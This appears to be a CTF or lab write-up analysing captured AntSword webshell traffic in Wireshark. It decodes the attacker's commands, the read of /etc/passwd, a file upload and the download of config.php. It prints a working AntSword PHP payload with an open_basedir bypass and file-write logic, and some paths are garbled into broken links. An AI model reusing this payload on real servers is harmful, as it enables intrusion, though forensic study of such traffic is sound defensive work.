第六章 流量特征分析-蚁剑流量分析

第六章 流量特征分析-蚁剑流量分析

1.木马的连接密码是多少
2.黑客执行的第一个命令是什么
3.黑客读取了哪个文件的内容,提交文件绝对路径
4.黑客上传了什么文件到服务器,提交文件名
5.黑客上传的文件内容是什么
6.黑客下载了哪个文件,提交文件绝对路径

1.木马的连接密码是多少

webshell链接工具是用post传输的我们直接在wireshark里面输入命令

http.request.method =="POST"

来定位用post传输的流量

image-20250805151814458

在未启用编码器或使用默认配置时,木马密码直接作为POST请求的第一个参数名出现。

打开第一个就能看到链接密码

flag{1}

image-20250805151718526

2.黑客执行的第一个命令是什么

上一题我们知道1.php为黑客上传的shell了这里我们对这个文件进行搜索

http contains "1.php"

image-20250805154215004

打开长度为894的流量包 右键 追踪http流 作

在蚁剑流量中,黑客执行的命令隐藏在 POST请求的特定参数值 中,需关注以下特征:

  1. 参数命名规则
    • 参数名格式为 ma[16位随机字符]uc[16位随机字符](如示例中的 ucc3f8650c92ac)。
    • 此类参数携带经过混淆的命令负载。
  2. 混淆机制
    • 参数值前2字符为蚁剑生成的随机字符(用于绕过简单规则检测),后续内容为Base64编码的命令序列

将post请求体末尾的base64代码去掉头两位复制到base63解码即可看到黑客的操

image-20250805154046794

image-20250805153948469
flag{id}

3.黑客读取了哪个文件的内容,提交文件绝对路径

继续分析流量包,在856这个流量包这里将命令解码

image-20250805153429312

image-20250805153407341

将post请求包复制到网站进行url解码https://www.toolhelper.cn/EncodeDecode/Url
就可以看到明文传输,直接复制也可以

image-20250805153650888

将最后base64加密的代码复制去掉前两位:这是蚁剑的随机前缀即可解密拿到明文密码

image-20250805153334828

题目问我们黑客读取了哪个文件

flag{/etc/passwd}

4.黑客上传了什么文件到服务器,提交文件名

继续分析流量包在长度为646这里发现了黑客上传的文件

image-20250805155018562

去掉前两位拿去url解码在base64解码

image-20250805155003992

image-20250805155103085
flag{flag.txt}

5.黑客上传的文件内容是什么

这一题其实一题里面就能看的出来,将上一题的请求体拿去url解码

image-20250805160334557

整理一下

1=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)){continue;};
        $tmdir=$item."/.368479785";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)){continue;}
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for($i=0;$i<sizeof($cntarr);$i++){
            @chdir("..");
        };
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};
function asenc($out){return $out;};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "6960"."cb205";
    echo @asenc($output);
    echo "1e0a"."91914";
}
ob_start();
try{
    $f=base64_decode(substr($_POST["t41ffbc5fb0c04"],2));
    $c=$_POST["ld807e7193493d"];
    $c=str_replace("\r","",$c);
    $c=str_replace("\n","",$c);
    $buf="";
    for($i=0;$i<strlen($c);$i+=2)
        $buf.=urldecode("%".substr($c,$i,2));
    echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
&ld807e7193493d=666C61677B77726974655F666C61677D0A
&t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA==

  • 通过 $_POST["t41ffbc5fb0c04"] 接收Base64编码的目标文件路径(解码后为 /var/[www/html/flag.txt](https://www/html/flag.txt))。
  • 通过 $_POST["ld807e7193493d"] 接收十六进制编码的文件内容(解码后为 flag{write_flag}),并写入目标文件 。
  • 使用 fopen($f, "a") 以追加模式打开文件,fwrite() 写入内容,成功返回 1,失败返回 0

https://try8.cn/tool/code/hex 使用解码器解码

image-20250805162040049

flag{write_flag}

6.黑客下载了哪个文件,提交文件绝对路径

继续分析1.php的流量在最后一个流量包里面,将里面的请求体进行url解码

image-20250805162936650

image-20250805162547927

可以看到黑客的操作

  • 通过POST参数t41ffbc5fb0c04传递Base64编码的目标路径(2eL3Zh... → 解码后为/var/[www/html/config.php](https://www/html/config.php))。
  • 使用readfile()函数读取文件内容并输出到响应流

image-20250805163045358

将最后一段base64编码解码可以看到访问路径

image-20250805162441328
flag{/var/www/html/config.php}
posted @ 2025-08-06 09:41  0xMouise  阅读(9)  评论(0)    收藏  举报